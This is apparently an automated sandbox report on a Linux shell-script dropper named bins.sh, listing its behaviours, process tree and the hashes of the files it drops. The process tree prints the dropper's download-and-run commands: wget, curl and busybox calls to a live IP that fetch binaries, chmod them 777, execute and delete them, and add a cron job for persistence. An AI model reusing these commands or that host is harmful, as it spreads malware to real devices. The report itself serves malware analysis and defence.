Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15/11/2024, 23:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241115-3fd5msykfp
  • SHA256 f07fdce89f07a0877e3a9fb6bf299920e038e0524dd238c19929b4b1a2db8285
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1900) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:667
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Writes file to tmp directory
          PID:690
        • /bin/chmod
          chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
          • Executes dropped EXE
          PID:693
        • /bin/rm
          rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:697
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:698
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Writes file to tmp directory
            PID:699
          • /bin/chmod
            chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:703
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:705
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:706
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:708
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:710
                • /bin/rm
                  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
                  2⤵
                    PID:712
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                    2⤵
                      PID:716
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                      2⤵
                        PID:718
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                        2⤵
                        • Writes file to tmp directory
                        PID:815
                      • /bin/chmod
                        chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                        2⤵
                        • File and Directory Permissions Modification
                        PID:823
                      • /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                        ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                        2⤵
                        • Executes dropped EXE
                        PID:825
                      • /bin/rm
                        rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                        2⤵
                          PID:826
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                          2⤵
                            PID:827
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                            2⤵
                              PID:829
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                              2⤵
                              • Writes file to tmp directory
                              PID:833
                            • /bin/chmod
                              chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                              2⤵
                              • File and Directory Permissions Modification
                              PID:840
                            • /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                              ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                              2⤵
                              • Executes dropped EXE
                              PID:841
                            • /bin/rm
                              rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                              2⤵
                                PID:843
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                2⤵
                                  PID:845
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                  2⤵
                                    PID:847
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:849
                                  • /bin/chmod
                                    chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:853
                                  • /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                    ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                    2⤵
                                    • Executes dropped EXE
                                    PID:855
                                  • /bin/rm
                                    rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                    2⤵
                                      PID:858
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                      2⤵
                                        PID:859
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                        2⤵
                                          PID:861
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:863
                                        • /bin/chmod
                                          chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:868
                                        • /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                          ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                          2⤵
                                          • Executes dropped EXE
                                          PID:869
                                        • /bin/rm
                                          rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                          2⤵
                                            PID:872
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                            2⤵
                                              PID:873
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                              2⤵
                                                PID:877
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:963
                                              • /bin/chmod
                                                chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:973
                                              • /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                2⤵
                                                • Executes dropped EXE
                                                PID:974
                                              • /bin/rm
                                                rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                2⤵
                                                  PID:976
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
                                                  2⤵
                                                    PID:977

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5

                                                      • Path /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
                                                      • Size 151KB
                                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN

                                                      • Path /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
                                                      • Size 119KB
                                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq

                                                      • Path /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
                                                      • Size 141KB
                                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC

                                                      • Path /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
                                                      • Size 98KB
                                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT

                                                      • Path /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
                                                      • Size 112KB
                                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk

                                                      • Path /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
                                                      • Size 99KB
                                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG

                                                      • Path /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
                                                      • Size 117KB
                                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.rSjNWL

                                                      • Path /var/spool/cron/crontabs/tmp.rSjNWL
                                                      • Size 210B
                                                      • SHA256 2863030e848758f542d8d34e6a29539c09e774d894759ea60647311071a182bc
                                                      • MD5 SHA1 SHA512